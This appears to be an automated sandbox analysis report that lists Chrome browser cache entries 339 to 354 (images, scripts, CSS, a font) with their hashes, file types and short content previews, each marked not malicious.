URL:	https://scontent-lga3-1.xx.fbcdn.net/v/t39.30808-6/434377831_977196400471980_4692415244947758289_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=108&ccb=1-7&_nc_sid=5f2048&_nc_ohc=_mpe2tuK2qoAb7w4Shi&_nc_ht=scontent-lga3-1.xx&oh=00_AfBB0yUIlV4ji25AYwMaaDhRRzMoKQaEng_iUrCLWilsaA&oe=661E2426
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f010000630300007b0700004a08000034090000580e0000121500008a1500007216000075170000a7220000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...........".............................................................................t-.-q.n.`{.6[t...(.l...,p_@.5...2..bu\|........U...k.m.g.....9...4...l)HeAK6..[.:.R.R...q....ggN...5.Ie.....V.~.(.Y%..8.4k.S33..'..3.<.0m\W..US._3..E'.j........O:`.!....-.Y>...v.2..Q.......9.-(........t.0. ..&...C}.....".Qh.Z..Bq.W...'H...D.......o1h.h....q-.JN....X..{....E.2D}.x.[,.+...t.8.~...^.....R..@n..En.....\|.aT.T..9..).G.R....H!.W.`...PD.C...u.9..C..:.%......[<..&~...7...!..1..b...z.t....p.VB........yx.\|.......(..........................!"..#12..$3A..............}..l.?...k./sFmF..%......O....g.\=8..!.i.\|....y.D..NS.s.wc..i.....3....2k.E.(&..lmp...!.T+....O.9..i........x

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 960x240, components 3
Category:	dropped
Size (bytes):	27354
Entropy (8bit):	7.9702467264413865
Encrypted:	false
SSDEEP:	768:NLJdToPQSfeatk0KOSbedvJirEzvLTL+IqqETbzoh:NLJ1aFltkZredv0rE/T/Gzoh
MD5:	750B733EFB835C76EDCB4507FA653237
SHA1:	1E7724158F5E893A12465FDC883178BE4479AA8D
SHA-256:	9E440BFCB18A6E18279DD902E9006C28DBD6E243423E5D356EC3DE050822BAB4
SHA-512:	90BD997AB43F3FCC6854132643474271C8A1175A6B673865AD120E8346825AA1189E3BBC26F13544793D56FC5355E437628CFD87E6D61F8994B6206747DE0763
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a700100001209000097130000d814000001160000cd1d00000d370000f1390000333b0000503c0000da6a0000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((..........."..................................................................................e)D.....5$@.b.J..d..-.QjL......@.;..R...ga..R.!,.3!V..I.v...)J ...!.!..b.J...1.Y.R......hl.Y......4..h..f.cfPJ@l....IT..q.D.L.j.hA...4.....#H.N45.YBh.'....-..5...dZ#@k0..2...@.Z..k,ec@.T4.Q.Md.aL..r.......!j(..z...5..G ..K:...-...h2..d-8.QRXS:.....C.2......Fe5.A.3.&.!).[.)...B.!...h...k6...."..MTD...h.&.(K:.!s...,. ..:..)...:.............cA...2........"..MH...9.@...,.#.5f6 ...V..G#..d+P.."..2....X.f.JR..@1.Y*....4.Z..gd9a....!..F#6.5.....Q..a.G#..d+P.H.v.....YG...R.D.&..O."4.%....dDA2.....hD..DF..WY.w..I.o..,.n.5.s..3.k..Mr_d..Y.SE..~}.+.=...N.....g_k~.?q."....&_.M...77..\|..\...Y.f

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	6785
Entropy (8bit):	4.9987398926329085
Encrypted:	false
SSDEEP:	96:DGPl3lUYhgjIf36RCPBBRUazhzmYzvfJUJnZsYNnv0qWLUxGPpzDzCPcnuXmHGG:DG9jKRhPZtJ0qY2GPVCcu0x
MD5:	3D85C4EEAA0F4C84C0C0AD2AED29843C
SHA1:	3527258226F582EC2A5B057C326DE911E08AA71E
SHA-256:	6469F135DBA62031CE4C6AC4FF5F6B71740F5D9F587C14E38242F8727D7D4B33
SHA-512:	316D044205742EAFDCC60B59D68DF40F087D8CBE08A5934951A4BB8C2B6AF3D69B7F5988B4C6FD3276C1A9B81C27113860377A58CBC557B766D7739107B2D5DD
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/themes/x-child/css/responsive.css
Preview:	@media screen and (max-width: 1199px)..{....linkdin_icon.icon_header {... position: relative;... right: auto;... top: auto;...}....linkdin_icon...{.... font-size: 25px;...}...............}..@media screen and (max-width: 1024px)..{.......footer_linkdin strong...{.... font-size: 16px;...}...h1...{....font-size: 35px;...}....toggle...{....display: block;...}....navigation {... display: none;... left: 0;... position: absolute;... right: 0;... background: #006533;... margin: 0px;... top: 100px;...}....navigation ul...{....float: left;....width: 100%;....text-align: center;...}....navigation ul li...{....float: left;....width: 100%;...}....wealth_btn {... margin-right: 30px;...}....navigation ul li {... float: left;... width: 100%;... padding: 0px;...}....navigation > ul li a {... float: left;... width: 100%;... border-bottom: 1px solid #cecece;... padding: 5px 0px;...}....navigation > ul li:hover a , .navigation > ul li.active a ...{....border-bottom: 1px solid #cecece;...

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5954)
Category:	downloaded
Size (bytes):	82899
Entropy (8bit):	5.240796441460027
Encrypted:	false
SSDEEP:	768:PIE6eXRpCXSXS7XIOwtXGJlXI+XVKTMyXIEXVKTEBWL6c/fnWY65f/fSTlE/f7JC:9AWXI6PfcrnVPPygPjg4oVVmb5T
MD5:	D18885E9967700ACFE6352B0B3A2FD39
SHA1:	83372BD4BF8EA07C4F24C076FD4BA1B575FDE9B1
SHA-256:	2257A2AE3094A82A2D8C054834946F63801D6D1032D3775D59181F59569E3351
SHA-512:	3CE9787E42541515CA357E957640734BD047F69A6F6F2D94B171EB3C2A883AB674E622158DF781F25877352C6230FC12B8D072592E0426D9208120702965C4AB
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/y4/r/Bh-w8QWYIjncPzsbL7709ENldItxtlDpV.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("ProfileCometAboutInfoDetails_subtitle.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"ProfileCometAboutInfoDetails_subtitle",selections:[{args:null,kind:"FragmentSpread",name:"ProfileCometTextWithEntities_textWithEntities"}],type:"TextWithEntities",abstractKey:null};e.exports=a}),null);.__d("ProfileCometAboutInfoDetails_title.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[],kind:"Fragment",metadata:null,name:"ProfileCometAboutInfoDetails_title",selections:[{args:null,kind:"FragmentSpread",name:"ProfileCometTextWithEntities_textWithEntities"}],type:"TextWithEntities",abstractKey:null};e.exports=a}),null);.__d("ProfileCometBioTextEditorPrivacyIconQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="7027375803975328"}),null);.__d("ProfileCometBioTextEditorPrivacyIconQuery$Parameters",["ProfileCometBioTextEditorPrivacyIconQuery_facebookRelayOperation"],(function(a,b,

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	4.401430027522087
Encrypted:	false
SSDEEP:	6:l4in7ItLP5Y/MFs/qkSi0Jv/GPqjCQssMF0Ib3:r7oP5Quv/H0sA
MD5:	9333F96D8BBADD64A6BD55255A021A64
SHA1:	3DE6E96DA4DEECDA8A87B130D35E55AB4645D169
SHA-256:	287544B705444A3991638D7CA0565D3868C34A091E29FA70BC41816E3005864C
SHA-512:	E5A315B23E276AF7ADE0CB3A0EE44B210E7D836718C1060DDBA752CAE9C40A58C4A01C869C5710EFBA7762707396425F39C7C9375C70E1FA98DD6DA1612D4D61
Malicious:	false
Reputation:	low
Preview:	{. "versions": [. {. "tag": "canary",. "hash": "44304ddfc392ced2ca09cc206435b5986d135b63",. "weight": 0.1. },. {. "tag": "stable",. "hash": "b9641c28c7fba390d8a3af5931cc05aea4de6809",. "weight": 0.9. }. ].}..

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 40x40, components 3
Category:	downloaded
Size (bytes):	1289
Entropy (8bit):	6.590147243040488
Encrypted:	false
SSDEEP:	24:4qLoilTNgg6c1spSYIdQSLedovc81+5vByj0dYlpFFwyvGs:uilhh6iWSaSIovc8M9Y0dYDFFB
MD5:	7AAFAB35550D057C0B7126298F25C77F
SHA1:	ABAD63D177579A28A3E2E2AB3F4ED153C8BB639E
SHA-256:	F348C9A4C3DF4EC14EF839812034256E888A83CE1EDC19042FA461A5C0AA743C
SHA-512:	F9EF768EB708C910235B88FF7D5F6F278C1491FFED44E8E749B55FFB215F5C2FA18729695CB4DEC520945EBDB92949B628A25C54F8B1584BE6119964C90775C5
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-2.xx.fbcdn.net/v/t1.6435-1/190346650_265045761687051_1168810863429260278_n.jpg?stp=cp0_dst-jpg_p40x40&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=SHu8gWgWGu0Ab55t1XH&_nc_ht=scontent-lga3-2.xx&oh=00_AfCTsmSUVzRPKuwIBc-TQDOj3Px-U7icvrT5-QjEwVmb3A&oe=663FD48A
Preview:	......JFIF..............Photoshop 3.0.8BIM..........g..UcUG1fI9PWzAFeW7KbM-..(.bFBMD0a000a85010000da0100003d02000075020000af02000059030000c8030000fa030000360400006d04000009050000...C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((......(.(.."...............................................................................3.m.!.....\...n...;...`..4.1.....!.............................$1...........Mf6.m..M.N.I.../8,n.U.$@.m..".i$...$.\|u..Q.;...c5.+.............................1."a........?....b.Gc....]._(E."...........................a........?.=.D...5...'.........................!".#A12B.abr........?..N.....xb.x.Ze.66#.x.$...?f.._kqs.R<$1.P.......f.^..B...[9p.A4..[..+D8LD...o.....g.......(.V.(..lkV3..J..F..H"Xab.A.....!....................!1.AQaq............?!..9.o.#:..<<Q.v.....,/".4n........Cx?Z.i.......*..'..(.....9.L..}.4..It.6.}..W.i...).m....l..?................-..`............

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2000
Entropy (8bit):	5.007310221645035
Encrypted:	false
SSDEEP:	48:Jw8jHHQwRApcaDsYUzvLGFgBMf+fP+gioLKQKagpwxiLgCqSgp555LjbYixTmm:+efRKbSDrPf/
MD5:	A56436C9E214EF323A2A3581D13DFFE9
SHA1:	378E2F4AAEE735F2644E88C0E7F143DD9B67AF5E
SHA-256:	CF1F9D0C295267B005CB0F3AAE2F90826FD8EE6C14FE5D29501E9B08E541DC79
SHA-512:	A5396398FB2FB48A35D3009D1CDB89ADB2A17F0E53C3C474266EEB7F6CA42811C5D8F009926F8D7FE9BE64F75A38CC5847E9E2997C029C501F8D6844D104E1F2
Malicious:	false
Reputation:	low
URL:	https://www.bfjfinancial.com/wp-content/plugins/wpcf7-recaptcha/assets/js/wpcf7-recaptcha-controls.js?ver=1.2
Preview:	( function() {......let recaptchaWidgets = [];...recaptchaCallback = function() {........let forms = document.getElementsByTagName( 'form' );....let pattern = /(^\|\s)g-recaptcha(\s\|$)/;......for ( let i = 0; i < forms.length; i++ ) {.....let recaptchas = forms[ i ].getElementsByClassName( 'wpcf7-recaptcha' );..........for ( let j = 0; j < recaptchas.length; j++ ) {......let sitekey = recaptchas[ j ].getAttribute( 'data-sitekey' );........if ( recaptchas[ j ].className && recaptchas[ j ].className.match( pattern ) && sitekey ) {.......let params = {........'sitekey': sitekey,........'type': recaptchas[ j ].getAttribute( 'data-type' ),........'size': recaptchas[ j ].getAttribute( 'data-size' ),........'theme': recaptchas[ j ].getAttribute( 'data-theme' ),........'align': recaptchas[ j ].getAttribute( 'data-align' ),........'badge': recaptchas[ j ].getAttribute( 'data-badge' ),........'tabindex': recaptchas[ j ].getAttribute( 'data-tabindex' ).......};.........let callback = recaptchas[ j

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
Reputation:	low
URL:	https://d2lgzuvj5j9n9p.cloudfront.net/3rdParty/jquery-3.5.1.min.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	84742
Entropy (8bit):	5.226176761472977
Encrypted:	false
SSDEEP:	768:cgwN4G/3vnOO6TvTAH4aJel2APNSJ0RJCmONnA/lfPqG7nVZL2f4sNuINSOPRsvf:YNahSJiGf4BINS6iOyk8Q2HB
MD5:	AA693FAB6D2DBFF1FC92249379687A31
SHA1:	0CEBFF10DE05D87991D9CD3B8E65E909A65FB93B
SHA-256:	804E9D42F244D50D3A24FC30ED5C688CB10DBD9D043E2B61DA54C6C99919745B
SHA-512:	5CE4453EBE6035429F37FC8174BA06EFEEF7E62A76AE4D742D3168B3D2E094CCBAB67ED0141F953AE2A132F0EDD5421D51E1872F85A3296BEA5A8C0E7803A211
Malicious:	false
Reputation:	low
URL:	https://smartvault.ada.support/embed/x-storage/e540f3c/sentry.b6985341d53aea5af72f.js
Preview:	/! For license information please see sentry.b6985341d53aea5af72f.js.LICENSE.txt /."use strict";(self.webpackChunk_ada_support_embed2=self.webpackChunk_ada_support_embed2\|\|[]).push([[897],{561:function(t,n,e){e.d(n,{R:function(){return I}});var r=e(6856),i=e(105),o=e(1421),s=e(6769),a=e(292),u=e(2844),c=e(2343),f=e(7597),p=e(8518),l=e(6893),d=e(1170),h=e(2470),v=e(7321),_=e(8266),y=e(2162),g=[];function m(t){return t.reduce((function(t,n){return t.every((function(t){return n.name!==t.name}))&&t.push(n),t}),[])}var b="Not capturing exception because it's already been captured.",E=function(){function t(t,n){this._integrations={},this._numProcessing=0,this._backend=new t(n),this._options=n,n.dsn&&(this._dsn=(0,a.v)(n.dsn))}return t.prototype.captureException=function(t,n,e){var r=this;if(!(0,u.YO)(t)){var i=n&&n.event_id;return this._process(this._getBackend().eventFromException(t,n).then((function(t){return r._captureEvent(t,n,e)})).then((function(t){i=t}))),i}c.k.log(b)},t.prototype.c

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45939)
Category:	downloaded
Size (bytes):	88734
Entropy (8bit):	4.37227479476542
Encrypted:	false
SSDEEP:	1536:Q5uEi/bA+TnJDpamoObnmodwbwnwmwowd6/yW8RNK+blic1rU6fJGnjkuC6hfMEp:Q5uEi/bA+TnJDpamoObnmodwbwnwmwo7
MD5:	E8A07A5DB85A294B926B14039C0491A7
SHA1:	5ADD921BA76420D9ABD174096945C39339BA4D53
SHA-256:	443B8711DB0500462603514E9CF4F483684705C76B0728029D1DAFB8589BE902
SHA-512:	EA3A0D326FC94CD1757EAE7C985E368BD6AD13B806C68342ACA3EAD462EFB0058DC0AC49CF76161C0B67CE29E7A4A9A214B3E8003EE18D317D003412524B2B9F
Malicious:	false
Reputation:	low
URL:	https://static.xx.fbcdn.net/rsrc.php/v3/yP/r/nqzi0HDP8Ry.js?_nc_x=Ij3Wp8lg5Kz
Preview:	;/FB_PKG_DELIM/..__d("EmojiStaticConfig",[],(function(a,b,c,d,e,f){a=Object.freeze({checksumBase:317426846,fileExt:".png",supportedSizes:{16:"DP16",18:"DP18",20:"DP20",24:"DP24",28:"DP28",30:"DP30",32:"DP32",56:"DP56",64:"DP64",72:"DP72",96:"DP96",112:"DP112",128:"DP128",256:"DP256"},types:{COMPOSITE:"c",EMOJI_3:"t",FBEMOJI:"f",FB_EMOJI_EXTENDED:"e",MESSENGER:"z",UNICODE:"u"},sizeMap:{dp16:16,dp18:18,dp20:20,dp24:24,dp28:28,dp30:30,dp32:32,dp36:36,dp56:56,dp64:64,dp72:72,dp96:96,dp112:112,dp128:128,dp256:256,xsmall:16,small:32,medium:64,large:128}});f["default"]=a}),66);.__d("EmojiImageURL",["invariant","EmojiConfig","EmojiStaticConfig"],(function(a,b,c,d,e,f,g){function h(b,c){var d=a.unescape(encodeURIComponent(b));c=c;for(var e=0;e<d.length;e++)c=(c<<5)-c+b.charCodeAt(e),c&=4294967295;return(c&255).toString(16)}function i(a,c,d){c in b("EmojiStaticConfig").supportedSizes\|\|g(0,772,c);c=b("EmojiConfig").pixelRatio+"/"+c+"/"+a+b("EmojiStaticConfig").fileExt;a=h(c,b("EmojiStaticConfig

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	274
Entropy (8bit):	5.1141704609456395
Encrypted:	false
SSDEEP:	6:tnrwNhk3mc4slZKYnic4sGRhAJroRInGXoXXCyuDXcW8HcHSti:trwN23/KYiqnAoULn4cyI
MD5:	07DFBAF5F85030EFC27E4A012488E13A
SHA1:	B4E6AC4F3DCD094BD4D326B537960328200384F6
SHA-256:	5843ED3527BC1E0E105B4E4B15FBBFF78C6D44EFA024E2AE4A08A0E8C82E5D4C
SHA-512:	803D937C109AF430F69693E0E96BACB97BFC307F1072161D08DB405C95C3A67DE00F5B9CA593E9C16056AA865A8E3A72D1F3B59B42531F3DADAA17FE30EF6D49
Malicious:	false
Reputation:	low
Preview:	<svg width="24px" height="24px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" class="artdeco-icon">. <path d="M20,5.32L13.32,12,20,18.68,18.66,20,12,13.33,5.34,20,4,18.68,10.68,12,4,5.32,5.32,4,12,10.69,18.68,4Z" fill="currentColor"/>.</svg>

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, 16 tables, 1st "GDEF", 19 names, Microsoft, language 0x409
Category:	downloaded
Size (bytes):	58272
Entropy (8bit):	6.087497514749547
Encrypted:	false
SSDEEP:	768:2FHqzyMfHsSmkRc0mt+j6XPNnR4fLpSlZdgz7B8rYgiy/U1BoWSRbUJOtojRbEMW:2jMfHw6mtuU4LMlZG/B8BoxBCd
MD5:	F9ABED3D3D7E0B5A0A5A303B113C53F4
SHA1:	8DEA33D500E929B878CED36C5980745C0BF13DB9
SHA-256:	2BB6585B06B56D32AA48AC85F698AEA00A96B5E32B944C9FBA5022CD90F97DCF
SHA-512:	33E2E61B9EABEB41056D86B34BDDAAD8C2C4F0BED63EB873439AB8FA6B3E154D1486AA7D7BBB46B6226BA3F7D0603D4AE2AE8E7CAECF43BD03E3599AA5B643AE
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/googlesans/v58/4Ua_rENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RFD48TE63OOYKtrw2IJllpyw.ttf
Preview:	............GDEF+......p...XGPOSn....;h..6.GSUB..M........4OS/2f{.k.......`STAT...K.......xcmap...........gasp............glyfm.....q...q.head U-....`...6hhea...*...<...$hmtx.<db...8....loca.-{....\....maxp...%....... nameA.wj........post......'....Kpreph..................................X.....................................R.............................B...X_.<...........X.....3N.R..... .........................X...K...X...^.T.2...............g...k...(....GOOG.............+.7 .............. ...................4..opsz....wght....GRAD....ital.....0.$.....................................................................0.................................................................................................................................................0.2...6.8...C.H.......9.....&...v.v.l.l.^.l.T.J.@.v.v.v.v.v.v.8.0.................[.......i...:.........................M.............F.................Q.......;...>.z.........0.2...6.9...C.H.................^.~...........P..

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	68
Entropy (8bit):	4.498417069951644
Encrypted:	false
SSDEEP:	3:mSnuZoS8/ZoS8/ZvjfQDthGRY:mSnuZoS8/ZoS8/ZbfQG+
MD5:	173D15C62356AD8BC92ABCDA2FD35B67
SHA1:	3B1777217446C8785C40A4DB039357B0A3E54A15
SHA-256:	B8AD7AA574FB7E1962DD3CDB86DC16F5BDAF7305F7A5F625661875EE10E6C988
SHA-512:	F5F650F557575D38EB894540F4E647AC91D2CC41D912F5A0A88A922B67CD1A30BE6273DD606895E36E251153EB8F99E9BD9C7A3FFD1ADCB4BBC29D4C4D07211A
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgk3QJVXY7V58BIFDZFhlU4SBQ2RYZVOEgUNkWGVThIXCcqad4ZRGH5VEgUNkWGVThIFDZFhlU4=?alt=proto
Preview:	ChsKBw2RYZVOGgAKBw2RYZVOGgAKBw2RYZVOGgAKEgoHDZFhlU4aAAoHDZFhlU4aAA==

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3070
Entropy (8bit):	7.729064237992539
Encrypted:	false
SSDEEP:	48:0uNn2vdSNJ3XpDz0kfzNYbBe9Z8ima7I6ReSo0c2s0OxAnZp7ceNyfaKUS/PjWLA:T21SrpDQkLNwqZ2afc0huxAZp72tvXKk
MD5:	E5F80EA5CDDA9167110B6E8F5E205EBB
SHA1:	841A515717AF350E9225A2DC2BCA0F2C0815D571
SHA-256:	8393D96E4CE15EFD45E00A2B76FD35F1A07609A4E308585E33DC0A273D3F52C9
SHA-512:	D31EBDB222F1A1ED09DA6F956BC7CF31718DCFB5680998F5DDA6609C48BFEF3445B0B3D3B4FD9129AE6A18EAE2C8861308FFEB12BF46A39CFD641A836353F8B7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...2...2......?......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:29ACEAE21B9F11E8B6FE9B650A6B5FF6" xmpMM:DocumentID="xmp.did:29ACEAE31B9F11E8B6FE9B650A6B5FF6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:29ACEAE01B9F11E8B6FE9B650A6B5FF6" stRef:documentID="xmp.did:29ACEAE11B9F11E8B6FE9B650A6B5FF6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..7....nIDATx..Z]l\...f.....^...b..&AP...y.bZ.(.RK....P...F..6.Z....K.(M.$.<4...K...EF .".......Bb{...zw.~g.....

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	9052
Entropy (8bit):	7.909384418526757
Encrypted:	false
SSDEEP:	192:UzHf7ibzIDC3ljzDtB+75bSGdMfuD7Osl1aPNLGjTghnIcq7F:GHf7ibzfH+75+GyWl168+nNq5
MD5:	924E485080953A3ADE4A1DA3C57A79D9
SHA1:	60DBFAF483E76262A2E23F2ED70D5DCC2509F654
SHA-256:	07548C63FEB6D5C12FE2D390196FB989AD8F15C7B396A5CD267DA60100478EED
SHA-512:	4CA9034E6F1D658DDF40047B70C557E501BA30DF89AB38451E6CDB0CB2EFE3517181FB2CD8983D6D66E3396E8EAC236969DB5B4F39117FC22779403B74AF70C8
Malicious:	false
Reputation:	low
URL:	https://scontent-lga3-2.xx.fbcdn.net/v/t39.30808-6/434158334_977196440471976_8409536769003539760_n.jpg?stp=c0.18.160.160a_dst-jpg_p160x160&_nc_cat=109&ccb=1-7&_nc_sid=5f2048&_nc_ohc=F5QkQOJQfhkAb6D7Riq&_nc_ht=scontent-lga3-2.xx&oh=00_AfC1SaC6emiNkyNgQpAp-a0Z1byMhjig28kkstzT0Gimsw&oe=661E0829
Preview:	......JFIF..............Photoshop 3.0.8BIM.......h..(.bFBMD0a000a6f0100006e030000a30700005708000037090000df0e0000c61500004316000010170000f11700005c230000....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...........".............................................................................l...y...A..8y...V..K...p..g..^S.......hS..9..qQ._"-6Wl..-.4.........=.a.L'.\|....e.~.+...0X....+u4_K..:u.SK."X9.t.8o..'.._A..^..:e...L_..v..Sx...6>\|.].............Vx..f4LT.d.e....J-..E.....~....3F3>C...k.........C..I.ty.....s....:O&.e5T......#......?..2.+...'.....-...R.....J......K.w......H.{8.<...6...M..y..:..eMg_.#...N4BA...\|.......\|.s.....=.<.=.wg0.h:..q..........AmN..y..=8.5r.2..7H.~z..\......U...]9..b.>p.R.q.iJ...>.~.=.C}.B.......i.Yn....'..........................!."12..#4$A...........233.X,e}..c.....dW.`.e.X1.=.".,..M..X.k.w..A7X...G%...._[..j...V..3..2..a2...g....6.p8.d..=.8..9.f...Et

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
